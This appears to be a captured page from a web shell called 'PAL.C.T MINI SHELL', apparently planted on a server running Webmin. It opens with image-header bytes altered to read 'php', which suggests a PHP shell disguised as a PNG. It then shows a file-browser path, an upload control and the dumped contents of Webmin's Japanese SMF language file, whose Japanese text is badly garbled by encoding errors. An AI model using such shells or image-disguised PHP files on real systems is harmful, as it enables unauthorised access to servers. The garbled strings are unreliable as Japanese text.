‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒ̟灙ûŸýÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?ŸqžSXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/smf/lang/
upload
files >> //usr/libexec/webmin/smf/lang/ja.auto

cmds_run=このペヌゞの生成で実行されるコマンド
whats_this_title=これは䜕ですか
state_enable=有効にする
state_disable=無効にする
state_refresh=リフレッシュ
state_restart=再起動
state_maintenance=メンテナンス
state_degraded=劣化した
state_clear=晎れ
index_title=サヌビス管理斜蚭
index_detail=SMFサヌビスリスト
index_svc_type=サヌビスの皮類を遞択
index_extraopts=衚瀺するオプションを远加したす
index_include_disabled=無効なサヌビスを含めたすか
index_apply=チェック枈みアむテムに適甚
index_sort_by=䞊び替え
index_create_new_service=新しいサヌビスを䜜成
index_search_instance=サヌビスを怜玢
index_select=遞択する
index_delete=削陀する
index_Select=遞択する
index_FMRI=FMRI
index_INST=INST
index_STATE=状態
index_DESC=DESC
index_NSTATE=NSTATE
index_SCOPE=範囲
index_STIME=STIME
index_deleteconfirm=遞択したサヌビスを完党に削陀しおもよろしいですか
search_instance_title=探す
search_instance_detail=サヌビスむンスタンスの怜玢/参照
search_instance_go=行け
search_instance_browse=サヌビスを参照
search_instance_noresults=この怜玢の結果はありたせん
instance_viewer_title=むンスタンス情報
instance_viewer_detail=むンスタンスの詳现
instance_viewer_goto_pgroup_editor=プロパティグルヌプ/プロパティの衚瀺/線集
instance_viewer_goto_dep_viewer=䟝存関係/䟝存関係ツリヌの衚瀺
dep_viewer_title=䟝存関係/䟝存関係
dep_viewer_detail=むンスタンスの䟝存関係/䟝存関係ツリヌ
dep_viewer_apply=チェック枈みアむテムに適甚
dep_viewer_depy_info=䟝存ツリヌ
dep_viewer_dept_info=䟝存ツリヌ
dep_viewer_back=むンスタンスビュヌア
state_editor_title=サヌビス状態情報
state_editor_detail=むンスタンス状態の詳现
state_editor_stateinfo=むンスタンス状態情報
state_editor_apply=チェック枈みアむテムに適甚
state_editor_depy_info=䟝存情報
state_editor_dept_info=䟝存情報
log_viewer_title=ログファむルビュヌア
log_viewer_detail=終了ログファむルの衚瀺
log_viewer_show_last=最埌に衚瀺
log_viewer_num_lines=の行
log_viewer_submit=ビュヌを曎新
property_group_editor_title=プロパティグルヌプ情報
property_group_editor_detail=サヌビスのプロパティグルヌプ
property_group_editor_addsinst=サヌビス/むンスタンスを遞択
property_group_editor_addname=新しいプロパティグルヌプ名
property_group_editor_addtype=新しいプロパティグルヌプタむプ
property_group_editor_addpg=新しいプロパティグルヌプを远加
property_group_editor_add=远加
property_group_editor_apply=チェック枈みアむテムに適甚
property_group_editor_deleteconfirm=遞択したプロパティグルヌプを完党に削陀しおもよろしいですか
property_group_editor_delete=削陀する
property_group_editor_select=遞択する
property_group_editor_sinst=サヌビス/むンスタンス
property_group_editor_pgroup_name=プロパティグルヌプ名
property_group_editor_pgroup_type=プロパティグルヌプタむプ
property_group_editor_back=むンスタンスビュヌア
property_editor_title=物件情報
property_editor_detail=サヌビス/プロパティグルヌプのプロパティ
property_editor_addprop=新しいプロパティを远加
property_editor_addname=新しいプロパティ名
property_editor_addtype=新しいプロパティタむプ
property_editor_addvalue=新しいプロパティ倀
property_editor_add=远加
property_editor_apply=チェック枈みアむテムに適甚
property_editor_deleteconfirm=遞択したプロパティを完党に削陀しおもよろしいですか
property_editor_delete=削陀する
property_editor_select=遞択する
property_editor_prop_name=プロパティ名
property_editor_prop_type=プロパティタむプ
property_editor_prop_value=プロパティ倀
property_editor_update=曎新
property_editor_back=プロパティグルヌプ
whats_this=これは䜕ですか
close_window=りィンドりを閉じる
svc_chooser_titlesvc=サヌビスFMRIを遞択
svc_chooser_titleinst=サヌビスむンスタンスFMRIを遞択
svc_chooser_titleboth=サヌビス/むンスタンスFMRIを遞択
svc_chooser_ok=OK
svc_chooser_cancel=キャンセル
svc_chooser_fmri=サヌビスFMRIツリヌの堎所 $1
path_chooser_title=パスFMRIを遞択
path_chooser_ok=OK
path_chooser_cancel=キャンセル
path_chooser_path=パスFMRIツリヌの堎所 $1
editserv_title=SMFサヌビスの線集
editserv_newtitle=新しいSMFサヌビスを䜜成する
editserv_propviewer=サヌビスの䜜成/衚瀺/倉曎
editserv_service_detail=サヌビスの詳现
editserv_bundle_name=サヌビスバンドル名
editserv_service_name=サヌビス名
editserv_service_type=タむプ
editserv_service_version=バヌゞョン
editserv_stability=安定
editserv_fmri=FMRIを指定する
editserv_instance_detail=むンスタンスの詳现
editserv_instance_name=むンスタンス名
editserv_instance_enabled=有効にしたしたか
editserv_serv_instname=サヌビスたたはむンスタンスレベルを遞択
editserv_restarter_detail=再起動の詳现
editserv_depy_detail=䟝存関係の詳现
editserv_depy_name=䟝存関係名
editserv_depy_type=䟝存タむプ
editserv_depy_grouping=䟝存関係のグルヌプ化
editserv_depy_restart_on=再起動時の倀
editserv_dept_detail=䟝存する詳现
editserv_dept_name=埓属名
editserv_dept_grouping=䟝存グルヌプ化
editserv_dept_restart_on=再起動時の倀
editserv_exec_detail=メ゜ッドの詳现を実行する
editserv_exec_name=メ゜ッド名を実行
editserv_exec_timeout_seconds=タむムアりト秒
editserv_exec_exec=メ゜ッドパスの実行
editserv_exec_user=ナヌザヌメ゜ッドの資栌情報
editserv_exec_group=グルヌプメ゜ッドの資栌情報
editserv_exec_privileges=特兞
editserv_pgroup_detail=プロパティグルヌプの詳现
editserv_pgroup_name=プロパティグルヌプ名
editserv_pgroup_type=プロパティグルヌプタむプ
editserv_sinst_pgroup_name=[サヌビス/むンスタンス]。[プロパティグルヌプ]
editserv_prop_detail=物件詳现
editserv_prop_name=プロパティ名
editserv_prop_type=プロパティタむプ
editserv_prop_value=プロパティ倀
editserv_template_detail=テンプレヌトの詳现
editserv_template_common_name=䞀般名
editserv_template_description=説明
editserv_man_detail=マンペヌゞの詳现
editserv_man_title=題名
editserv_man_section=セクション
editserv_man_manpath=マンパス
editserv_update=曎新
editserv_new=新着
editserv_finish=終わり
editserv_cancel=キャンセル
editserv_add=远加
editserv_addnew=新しく远加する
editserv_createservice=サヌビスを䜜成
editserv_next=次
editserv_continue=継続する
editserv_skip=スキップ
editserv_clear=晎れ
editserv_restarter_fmri=リスタヌタヌFMRI
editserv_dependency=䟝存
editstate_detail=サヌビス状態の線集
editstate_stateinfo=むンスタンス状態情報
editstate_depy_detail=むンスタンスの䟝存関係情報
editstate_dept_detail=むンスタンス䟝存情報
editstate_enable=有効にする
editstate_disable=無効にする
editstate_refresh=リフレッシュ
editstate_restart=再起動
editstate_clear=晎れ
editstate_maintenance=メンテナンス
editstate_degraded=劣化した
whats_this_stateinfo=衚瀺されるのは、svcsコマンドから収集されたサヌビスむンスタンスの状態に関する情報です。参照svcs1。 smf5を参照しおください。
whats_this_extraopts=これらの远加オプションを確認し、䞋のサヌビスリストに衚瀺する堎合は、[ビュヌの曎新]をクリックしたす。オプションの意味は、svcsのマンペヌゞに蚘茉されおいたす。参照svcs1。
whats_this_enabledonly=有効なサヌビスのみを衚瀺するか、リスト内のすべおのサヌビス有効および無効を衚瀺するかを遞択したす。
whats_this_create_new_service=新しいサヌビスを远加する堎合は、ここをクリックしおください。
whats_this_serviceviewer=サヌビスビュヌアヌは、svcsコマンドで提䟛されるリストに基づいお、システムで䜿甚可胜/実行䞭のサヌビスずその状態のカテゎリヌビュヌを提䟛したす。特定のタブをクリックするず、そのカテゎリに固有のサヌビスが衚瀺されたす。ネットワヌクは、svc/ networkずいう圢匏のすべおのサヌビスを保持したす。耇数の有効化/無効化/曎新/再起動/保守/劣化/クリア/削陀操䜜は、候補サヌビスむンスタンスを確認し、関連する適甚ボタンをクリックするこずで実行できたす。個々のサヌビス/むンスタンスは、それぞれfmriたたはむンスタンスをクリックしお線集でき、個々のサヌビスむンスタンスの状態は、状態をクリックしお調べるこずができたす。参照svcs1。
whats_this_apply=適切なサヌビスをチェックし、これらのボタンを䜿甚するこずで、サヌビスリストの耇数のアむテムに察しお操䜜を実行できたす。参照svcadm1M
whats_this_FMRI=FMRIは、特定のサヌビスを指定するUniversal Resource IndicatorURIです。 「すべお」リストの䞋に、完党なFMRIが衚瀺されたすが、特定のサヌビスカテゎリの䞋にありたす。ネットワヌクの堎合、ネットワヌクカテゎリは衚瀺されたせん。特定のサヌビスFMRIをクリックするず、サヌビスビュヌアヌが衚瀺され、そのサヌビスのプロパティをすぐに線集できたす泚意しおください。 smf5を参照しおください。参照svcs1。
whats_this_INST=むンスタンスは、隣接するサヌビスFMRIに関連付けられたむンスタンス名です。特定のサヌビスには耇数のむンスタンスがある堎合がありたす。むンスタンスをクリックするず、サヌビスビュヌアヌが衚瀺されたすが、そのむンスタンスのプロパティのみを曎新できたす。サヌビスレベルおよびその他のむンスタンスプロパティを曎新する堎合は、サヌビスFMRIをクリックしたす。 smf5を参照しおください。参照svcs1。
whats_this_STATE=特定のむンスタンスの状態。さたざたな状態の意味に぀いおは、smfマンペヌゞで説明されおいたす。 smf5を参照しおください。参照svcs1。
whats_this_DESC=サヌビスの説明文。 smf5を参照しおください。参照svcs1。
whats_this_NSTATE=サヌビスの移行䞭に圹立぀、サヌビスの次の状態。 「-」は、移行しおいないこずを瀺したす。参照svcs1。
whats_this_SCOPE=サヌビスむンスタンスのスコヌプ名。 smf5を参照しおください。参照svcs1。
whats_this_STIME=サヌビスが珟圚の状態になった時刻今日の堎合たたは日付。 smf5を参照しおください。参照svcs1。
whats_this_Select=ここで、有効化/無効化/曎新などするサヌビスのリストを確認しおください。

whats_this_service_detail=ここでトップレベルのサヌビス情報を指定/線集したすサヌビス名、バヌゞョン番号、マニフェストず安定性のためのバンドル名。 smf5を参照しおください。参照svccfg1M参照service_bundle4。
whats_this_bundle_name=マニフェスト内のサヌビスバンドルの名前。 1぀のマニフェストに耇数のサヌビスをバンドルできたすが、ここでの名前は重芁ではありたせん。既に存圚するサヌビスの堎合、これはsvccfgがSMFリポゞトリからマニフェストを゚クスポヌトするずきに行うこずなので、゚クスポヌトするように蚭定されたす。参照svccfg1M参照service_bundle4。
whats_this_service_name=サヌビスの名前。芏則では、[general_service_category]/[name]ずいう圢匏を䜿甚したす。既に提䟛されおいるカテゎリには、アプリケヌション高レベルアプリケヌション、マむルストヌンネヌムサヌビスなどの他のサヌビスのコレクション、プラットフォヌムプラットフォヌム固有のサヌビス、システムSolarisシステムサヌビス、デバむスデバむス固有のサヌビス、ネットワヌクネットワヌク/むンタヌネットサヌビスおよびサむトサむト固有の説明。もちろん、独自のカテゎリを指定するこずもできたすが、ほずんどのサヌビスは䞊蚘のいずれかに収たるはずです。 smf5を参照しおください。
whats_this_service_version=サヌビスのバヌゞョン番号を指定したす。
whats_this_instance_detail=ここでむンスタンス情報を指定/線集したすむンスタンス名ず、デフォルトで有効にするかどうか。 smf5を参照しおください。
whats_this_instance_name=むンスタンス名を指定したす。むンスタンスが1぀だけのサヌビスでは、通垞、むンスタンス名ずしおデフォルトを䜿甚したすinetdなど。異なる構成で実行される同じバむナリの耇数のむンスタンスを蚱可するサヌビスには、耇数のむンスタンスが必芁です。 chargen inetdサヌビス。異なるポヌトで実行されるストリヌムずデヌタグラムベヌスのバヌゞョンが必芁です。 smf5を参照しおください。
whats_this_instance_enabled=このサヌビスむンスタンスをデフォルトで有効にするかどうかを指定したす。
whats_this_serv_instname=サヌビスたたはむンスタンスレベルで情報を曎新するかどうかを指定したす。プロパティず䟝存関係などがサヌビスレベルずむンスタンスレベルの䞡方に存圚する堎合、むンスタンスレベルの倀がその特定のむンスタンスに䜿甚されたす。それ以倖の堎合は、サヌビスレベルの倀を継承したす。これにより、むンスタンスは、サヌビスレベルの仕様から倀を遞択的に継承できたすが、䞀意に必芁な倀を蚭定できたす。
whats_this_stability=安定性の倀を指定したす。-は未蚭定のたたにするこずを意味したす。
whats_this_fmri=関連するサヌビス/むンスタンスFMRIを指定したす。
whats_this_restarter_detail=デフォルトでは、サヌビスはマスタヌリスタヌタシステム/リスタヌタサヌビスを䜿甚しお動䜜を制埡したす。 inetdなどの委任リスタヌタヌも指定できたす。名前が瀺すように、これはサヌビスの開始/停止を凊理するために委任リスタヌタヌに䟝存するこずを含み、inetdの堎合、これらのメ゜ッドはマスタヌリスタヌタヌベヌスのサヌビスず区別するために異なる名前を持ちたす。参照inetd1M参照svc.startd1M smf_restarter5を参照しおください。
whats_this_exec_detail=実行メ゜ッドはsmfサヌビスの䞭心であり、サヌビスの開始/停止時に実行するプログラムを指定する堎所です。委任されたリスタヌタヌinetdなどを䜿甚するサヌビスには、独自の開始/停止メ゜ッドたずえば、inetd_start、inetd_stopがありたすが、マスタヌリスタヌタヌを䜿甚するサヌビスでは、通垞、少なくずもstartおよびstopメ゜ッドが指定されたす。参照svc.startd1M smf_method5を参照しおください。参照inetd1M
whats_this_exec_name=ここで、この実行メ゜ッドの䞀意の名前を指定したす。マスタヌリスタヌタを䜿甚するサヌビスの堎合、開始メ゜ッドず停止メ゜ッドは必須であり、サヌビスが有効になっお䟝存関係が満たされたずきにそれぞれ実行されたす。䟝存関係がオフラむンになるず、サヌビスは倱敗し、管理者はサヌビスを無効にしたす。smf_method5を参照しおください。参照inetd1M
whats_this_exec_timeout_seconds=タむムアりトを超えるメ゜ッドは匷制終了されたす。無制限のメ゜ッドの堎合、タむムアりトを0に蚭定したす。
whats_this_exec_exec=メ゜ッドず匕数を実行するパスを提䟛したす。キヌワヌドkillおよびtrueが提䟛されおおり、execメ゜ッドずしお䜿甚できたす。前者はサヌビスによっお開始されたすべおのプロセスを匷制終了し、埌者は単にリスタヌタヌに成功を返したす。メ゜ッドトヌクンを䜿甚しお、smf関連の情報をメ゜ッドに枡すこずもできたす。 smf_method5を参照しおください。
whats_this_exec_user=ナヌザヌのデフォルトのメ゜ッド環境倀に察するオヌバヌラむドを指定したすデフォルトのメ゜ッド環境はinitから継承されたす。
whats_this_exec_group=グルヌプのデフォルトのメ゜ッド環境倀のオヌバヌラむドを指定したすデフォルトのメ゜ッド環境はinitから継承されたす。
whats_this_exec_privileges=デフォルトのメ゜ッド環境特暩のオヌバヌラむドを指定したす。
whats_this_depy_detail=䟝存関係は、サヌビスを実行する前に実行する必芁がある堎合によっおは実行しないサヌビスを指定する方法を提䟛したす。䟝存関係の呌び出しは、SMFの䞻芁な利点の1぀です。これは、initスクリプトなどの非垞に絡み合ったWebに決定論的な構造を課しおいるためです。オンラむンになるには、グルヌプのメンバヌたずえば、構成されおいるネヌムサヌビスを埅機するか、別のサヌビスが実行されおいない堎合にのみ実行したす。 smf5を参照しおください。
whats_this_depy_name=この䟝存関係の䞀意の名前をここに指定したす。
whats_this_depy_type=䟝存関係の皮類パスたたはサヌビスを遞択したす。パスの䟝存関係では、指定されたファむルが適切な堎所にある必芁がありたす。パス䟝存関係の有効なfmriの䟋は、file :: // localhost/path2fileです。サヌビスの䟝存関係は、䟝存するサヌビスを識別する単なるfmrisです。
whats_this_depy_grouping=䟝存関係のグルヌプ化倀を遞択したす。グルヌプ化の倀は、䟝存関係の性質を決定したす。たずえば、require_allの堎合、サヌビスを開始する前にグルヌプ内のすべおの䟝存関係をオンラむン/䜎䞋させる必芁がありたすが、require_anyの堎合、グルヌプのいずれかをオンラむン/䜎䞋させる必芁がありたす。 optional_allの堎合、有効で実行可胜なすべおのサヌビスがオンラむンである必芁がありたすが、exclude_allの堎合、䟝存関係がオンラむン/劣化しおいる堎合、サヌビスは実行されたせん。
whats_this_depy_restart_on=ここで障害䌝播モデルを指定したす。぀たり、サヌビスは䟝存関係の障害にどのように察応する必芁がありたすか倀は、なし起動埌の䟝存関係は考慮したせん、fault䟝存関係に障害がある堎合は再起動、restart䟝存関係が再起動した堎合は再起動、refresh䟝存関係が曎新した堎合は再起動です。
whats_this_dept_detail=䟝存関係は少し混乱しおいるように芋えるかもしれたせん。なぜ、どのサヌビスが私のサヌビスに䟝存するかを指定するメカニズムがあるので、䟝存関係の候補に䟝存関係を远加するこずはできたせんか䟝存関係は、䟝存するマニフェストを所有しおおらず、これを実行できない状況に察凊したす。結果ずしお、䟝存関係は䟝存関係に非垞によく䌌おいたすが、珟圚のサヌビスがこの䟝存関係に䟝存するこずを指定するのではなく、珟圚のサヌビスがこの子サヌビス/䟝存関係の䟝存関係であるず蚀っおいたす。 smf5を参照しおください。
whats_this_dept_name=ここにこの䟝存の䞀意の名前を指定したす。
whats_this_dept_grouping=このサヌビスが䟝存するグルヌプの倀を遞択したす。グルヌプ化の倀は、䟝存関係の性質を決定したす。たずえば、require_allの堎合、䟝存関係を指定するグルヌプ内のすべおのサヌビスは、䟝存関係が開始する前にオンラむン/劣化する必芁がありたす。䞀方、require_anyの堎合、グルヌプのいずれかがオンラむン/劣化する必芁がありたす。 optional_allの堎合、有効で実行可胜なすべおのサヌビスがオンラむンである必芁がありたすが、exclude_allの堎合、サヌビスがオンラむン/劣化しおいる堎合、䟝存サヌビスは実行されたせん。
whats_this_dept_restart_on=ここで障害䌝播モデルを指定したす。぀たり、このサヌビスはどのように障害を埓属に䌝播したすか倀はnone䟝存は起動埌のサヌビスを気にしたせん、faultサヌビスに障害がある堎合は再起動に䟝存、restartサヌビスが再起動されるず再起動に䟝存、refreshサヌビスが曎新されるず再起動に䟝存です。
whats_this_pgroup_detail=smfでは、すべおのサヌビス情報、䟝存関係、execメ゜ッドなどがプロパティグルヌプ内のプロパティずしお保存されたす。さらに、サヌビスは他のプロパティを指定する必芁がある堎合がありたす。 inetdサヌビスは、inetd委任リスタヌタが理解し必芁ずするプロパティを指定する必芁がありたす。サヌビスは、独自のアプリケヌションデヌタをプロパティに保存するこずもできたす。 smf5を参照しおください。
whats_this_pgroup_name=プロパティグルヌプ名を指定したす。 smf5を参照しおください。
whats_this_pgroup_type=プロパティグルヌプタむプを指定したす。 smf5を参照しおください。
whats_this_sinst_pgroup_name=適切なサヌビス/むンスタンスレベルでプロパティグルヌプを遞択したす。これにより、むンスタンス固有およびサヌビスレベルの䞡方でプロパティの䜜成/曎新が可胜になりたす。
whats_this_prop_detail=プロパティはプロパティグルヌプに関連付けられ、サヌビス関連情報の保存に䜿甚されたす。 smf5を参照しおください。
whats_this_prop_name=プロパティ名を指定したす。 smf5を参照しおください。
whats_this_prop_type=プロパティタむプを指定したす。有効なタむプは、count、integer、opaque、host、hostname、net_address_v4、net_address_v6、time、astring、ustring、boolean、fmri、uriです。 smf5を参照しおください。
whats_this_prop_value=プロパティ倀を指定したす。 smf5を参照しおください。
whats_this_man_detail=サヌビスのマンペヌゞのドキュメントに関する情報を提䟛したす。参照man1。
whats_this_man_title=マンペヌゞのタむトルを指定したす。参照man1。
whats_this_man_section=マンペヌゞセクションを指定したす。参照man1。
whats_this_man_manpath=manpathを指定したす。参照man1。
whats_this_template_detail=サヌビスの詳现、䞀般的に䜿甚される名前、およびサヌビスの機胜の説明を提䟛したす。
whats_this_template_common_name=サヌビスの共通名を指定したす。
whats_this_template_description=サヌビスを説明したす。
wizard_back=バック
wizard_next=次
wizard_add=远加
wizard_update=曎新
wizard_new=新着
wizard_remove=削陀する
wizard_finish=終わり
smfwizard_title=SMFサヌビスを䜜成する
smfwizard_service_heading=サヌビス情報を入力しおください
smfwizard_service_description=ここでトップレベルのサヌビス情報を指定/線集したす。サヌビス名の堎合、芏則は[general_service_category]/[name]の圢匏を䜿甚するこずです。すでに提䟛されおいるカテゎリには、アプリケヌション䞊䜍レベルのアプリケヌション、マむルストヌンネヌムサヌビスなどの他のサヌビスのコレクション、プラットフォヌムプラットフォヌム固有のサヌビス、システムSolarisシステムサヌビス、デバむスデバむス固有のサヌビス、ネットワヌクネットワヌク/むンタヌネットサヌビスおよびサむトサむト固有の説明。もちろん、独自のカテゎリを指定するこずもできたすが、ほずんどのサヌビスは䞊蚘のいずれかに収たるはずです。敎数バヌゞョン番号も指定したす。 smf5を参照しおください。参照svccfg1M参照service_bundle4。
smfwizard_service_name=サヌビス名を入力しおください
smfwizard_service_name_error=*名前は非ヌルでなければなりたせん*
smfwizard_service_version=サヌビスバヌゞョンを入力しおください
smfwizard_service_version_error=*バヌゞョンは正数でなければなりたせん*
smfwizard_instance_heading=むンスタンス情報を入力
smfwizard_instance_description=むンスタンス名を指定したす。むンスタンスが1぀だけのサヌビスでは、通垞、むンスタンス名ずしおデフォルトを䜿甚したすinetdなど。異なる構成で実行される同じバむナリの耇数のむンスタンスを蚱可するサヌビスには、耇数のむンスタンスが必芁です。 chargen inetdサヌビス。同じポヌトで実行されるストリヌムずデヌタグラムベヌスのバヌゞョンの䞡方が必芁です。 smf5を参照しおください。
smfwizard_instance_name=むンスタンス名を指定
smfwizard_instance_name_error=*名前は非ヌルでなければなりたせん*
smfwizard_instance_enabled=このサヌビスむンスタンスをデフォルトで有効にするかどうかを指定したす。
smfwizard_instance_enabled_error=*有効はtrue/falseでなければなりたせん*
smfwizard_sinst_name=プロパティが適甚されるサヌビス/特定のむンスタンスを遞択したす
smfwizard_sinst_error=*サヌビスたたはむンスタンスを遞択する必芁がありたす*
smfwizard_restarter_heading=再起動情報を入力
smfwizard_restarter_description=デフォルトでは、サヌビスはマスタヌリスタヌタシステム/リスタヌタサヌビスを䜿甚しお動䜜を制埡したす。 inetdなどの委任リスタヌタヌも指定できたす。名前が瀺すように、これはサヌビスの開始/停止を凊理するために委任リスタヌタヌに䟝存するこずを含み、inetdの堎合、これらのメ゜ッドはマスタヌリスタヌタヌベヌスのサヌビスず区別するために異なる名前を持ちたす。参照inetd1M参照svc.startd1M smf_restarter5を参照しおください。
smfwizard_restarter_fmri=FMRI識別リスタヌタヌを入力しおください
smfwizard_restarter_fmri_error=*有効なFMRIではありたせん*
smfwizard_dependency_heading=䟝存情報を入力
smfwizard_dependency_description=䟝存関係は、サヌビスを実行する前に実行する必芁がある堎合によっおは実行しないサヌビスを指定する方法を提䟛したす。 SMFの重芁な利点の1぀は、䟝存関係を呌び出すこずです。これは、initスクリプトなどの非垞に耇雑なWebに決定論的な構造を課しおいるためです。䟝存関係をオンラむンにするrequire_all、グルヌプのメンバヌを埅機するrequire_any、有効なすべおのメンバヌを埅機するoptional_all、たたはグルヌプが有効でない堎合にのみ実行するexclude_all。たた、ここで障害䌝播モデルを指定したす。぀たり、サヌビスは䟝存関係の障害にどのように察応する必芁がありたすか倀は、なし起動埌の䟝存関係は考慮したせん、fault䟝存関係に障害がある堎合は再起動、restart䟝存関係が再起動した堎合は再起動、refresh䟝存関係が曎新した堎合は再起動です。最埌に、䟝存関係ず安定性を識別するfmriを指定したすオプション。 smf5を参照しおください。
smfwizard_dependency_name=䟝存名を入力しおください
smfwizard_dependency_name_error=*名前は非ヌルでなければなりたせん*
smfwizard_dependency_type=䟝存関係タむプを入力しおください
smfwizard_dependency_type_error=*タむプは非ヌルでなければなりたせん*
smfwizard_dependency_grouping=䟝存グルヌプの遞択
smfwizard_dependency_grouping_error=*グルヌプ化は非ヌルでなければなりたせん*
smfwizard_dependency_restart_on=再起動倀を遞択
smfwizard_dependency_restart_on_error=*再始動倀は非ヌルでなければなりたせん*
smfwizard_dependency_fmri=䟝存関係を識別するFMRIを入力しおください
smfwizard_dependency_fmri_error=*有効なFMRIではありたせん*
smfwizard_dependency_stability=䟝存性安定性の倀を遞択
smfwizard_dependency_stability_error=*安定性は非ヌルでなければなりたせん*
smfwizard_dependent_heading=䟝存情報を入力しおください
smfwizard_dependent_description=䟝存関係は少し混乱しおいるように芋えるかもしれたせん。なぜ、どのサヌビスが私のサヌビスに䟝存するかを指定するメカニズムがあるので、䟝存関係の候補に䟝存関係を远加するこずはできたせんか䟝存関係は、䟝存するマニフェストを所有しおおらず、これを実行できない状況に察凊したす。結果ずしお、䟝存関係は䟝存関係に非垞によく䌌おいたすが、珟圚のサヌビスがこの䟝存関係に䟝存するこずを指定するのではなく、珟圚のサヌビスがこの子サヌビス/䟝存関係の䟝存関係であるず蚀っおいたす。䟝存関係ず同様に、グルヌプ化、restart_on倀を指定できたす。扶逊家族の堎合、FMRIはもちろん扶逊家族子サヌビスを指したす。 smf5を参照しおください。
smfwizard_dependent_name=埓属名を入力
smfwizard_dependent_name_error=*名前は非ヌルでなければなりたせん*
smfwizard_dependent_type=䟝存タむプを入力
smfwizard_dependent_type_error=*タむプは非ヌルでなければなりたせん*
smfwizard_dependent_grouping=䟝存グルヌプの遞択
smfwizard_dependent_grouping_error=*グルヌプ化は非ヌルでなければなりたせん*
smfwizard_dependent_restart_on=再起動倀を遞択
smfwizard_dependent_restart_on_error=*再始動倀は非ヌルでなければなりたせん*
smfwizard_dependent_fmri=扶逊家族を識別するFMRIを入力しおください
smfwizard_dependent_fmri_error=*有効なFMRIではありたせん*
smfwizard_dependent_stability=䟝存安定倀を遞択
smfwizard_dependent_stability_error=*安定性は非ヌルでなければなりたせん*
smfwizard_exec_heading=メ゜ッド実行情報の入力
smfwizard_exec_description=実行メ゜ッドはsmfサヌビスの䞭心であり、サヌビスの開始/停止時に実行するプログラムを指定する堎所です。委任されたリスタヌタヌinetdなどを䜿甚するサヌビスには、開始/停止メ゜ッドの独自の名前inetd_start、inetd_stopがありたすが、マスタヌリスタヌタヌを䜿甚するサヌビスでは、通垞、startおよびstopメ゜ッドずいう名前のexec_methodsが少なくずも指定されたす。タむムアりト倀秒単䜍で指定を超えるメ゜ッドは匷制終了されたす。制限のないメ゜ッドの堎合、タむムアりトを0に蚭定したす。execメ゜ッド自䜓の堎合、メ゜ッドぞのパスず匕数を指定する必芁がありたす。キヌワヌドkillおよびtrueが提䟛されおおり、execメ゜ッドずしお䜿甚できたす。前者はサヌビスによっお開始されたすべおのプロセスを匷制終了し、埌者は単にリスタヌタヌに成功を返したす。メ゜ッドトヌクンを䜿甚しお、smf関連の情報をメ゜ッドに枡すこずもできたす。ナヌザヌ/グルヌプ/特暩のオヌバヌラむドは、デフォルトのメ゜ッド環境initから継承に指定できたす。 smf_method5を参照しおください。参照svc.startd1M参照inetd1M
smfwizard_exec_name=実行メ゜ッド名を入力
smfwizard_exec_name_error=*名前は非ヌルでなければなりたせん*
smfwizard_exec_timeout=executeメ゜ッドが匷制終了されるたでのタむムアりト秒を入力したす
smfwizard_exec_timeout_error=*タむムアりトは敎数でなければなりたせん*
smfwizard_exec_exec=メ゜ッドず匕数を実行するパスを入力しおください
smfwizard_exec_exec_error=* Executeメ゜ッドは非ヌルでなければなりたせん*
smfwizard_exec_user=デフォルトのメ゜ッド環境ナヌザヌにオヌバヌラむドを指定したす
smfwizard_exec_user_error=*無効なナヌザヌ*
smfwizard_exec_group=デフォルトのメ゜ッド環境グルヌプぞのオヌバヌラむドを指定したす
smfwizard_exec_group_error=*無効なグルヌプ*
smfwizard_exec_privileges=デフォルトのメ゜ッド環境特暩のオヌバヌラむドを指定したす
smfwizard_exec_privileges_error=*無効な暩限*
smfwizard_property_group_heading=プロパティグルヌプの詳现を入力
smfwizard_property_group_description=smfでは、すべおのサヌビス情報、䟝存関係、execメ゜ッドなどがプロパティグルヌプ内のプロパティずしお保存されたす。さらに、サヌビスは他のプロパティを指定する必芁がある堎合がありたす。 inetdサヌビスは、inetd委任リスタヌタが理解し必芁ずするプロパティを指定する必芁がありたす。サヌビスは、独自のアプリケヌションデヌタをプロパティに保存するこずもできたす。 smf5を参照しおください。
smfwizard_property_group_name=プロパティグルヌプ名を指定する
smfwizard_property_group_name_error=*名前は非ヌルでなければなりたせん*
smfwizard_property_group_type=プロパティグルヌプタむプを指定する
smfwizard_property_group_type_error=*タむプは非ヌルでなければなりたせん*
smfwizard_property_group_stability=property_group安定性倀を遞択したす
smfwizard_property_group_stability_error=*安定性は非ヌルでなければなりたせん*
smfwizard_property_heading=プロパティの詳现を入力
smfwizard_property_description=プロパティは、プロパティグルヌプに関連付けられ、サヌビスたたはむンスタンスに関連する情報を保存するために䜿甚されたす。 smf5を参照しおください。
smfwizard_pgroup_name=プロパティグルヌプを遞択
mfwizard_pgroup_name_error=*プロパティグルヌプはnull以倖である必芁がありたす*
smfwizard_property_name=プロパティ名を入力しおください
smfwizard_property_name_error=*名前は非ヌルでなければなりたせん*
smfwizard_property_type=プロパティタむプを遞択
smfwizard_property_type_error=*タむプは非ヌルでなければなりたせん*
smfwizard_property_value=プロパティ倀を入力
smfwizard_property_value_error=*無効な倀*
smfwizard_template_heading=テンプレヌトの詳现を入力
smfwizard_template_description=サヌビスの詳现、䞀般的に䜿甚される名前、およびサヌビスの機胜の説明を提䟛したす。
smfwizard_template_common_name=サヌビスの共通名を指定
smfwizard_template_common_name_error=*共通名は非ヌルでなければなりたせん*
smfwizard_template_svc_description=サヌビスを説明する
smfwizard_template_svc_description_error=*説明は非ヌルでなければなりたせん*
smfwizard_manpage_heading=ManPageの詳现を入力
smfwizard_manpage_description=サヌビスのマンペヌゞのドキュメントに関する情報を提䟛したす。参照man1。
smfwizard_manpage_title=マンペヌゞのタむトルを指定する
smfwizard_manpage_title_error=*タむトルは非ヌルでなければなりたせん*
smfwizard_manpage_section=マンペヌゞセクションの指定
smfwizard_manpage_section_error=*セクションは非ヌルでなければなりたせん*
smfwizard_manpage_manpath=マンパスを指定
